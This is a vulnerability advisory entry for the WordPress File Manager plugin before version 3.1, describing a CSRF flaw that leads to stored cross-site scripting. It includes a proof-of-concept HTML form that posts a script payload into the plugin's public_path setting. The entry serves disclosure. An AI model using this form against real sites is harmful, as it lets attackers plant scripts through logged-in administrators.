File Manager < 3.1 - CSRF to Stored Cross-Site Scripting

2018-09-1700:00:00

wpvulndb

0.003 Low

EPSS

Percentile

69.5%

JSON

The plugin is lacking CSRF as well as sanitisation checks, allowing attackers to perform CSRF attacks against logged in administrators and set an XSS payload in the public_path setting.

<form method="POST" action="https://example.com/wp-admin/admin.php?page=wp_file_manager_root"> 
   <input type="text" name="public_path" value="%22%3E%3Cscript%3Ealert%282%29%3B%3C%2Fscript%3E"><br />
   <input type="text" name="submit" value="Save Changes"><br />
  <input type="submit">
</form>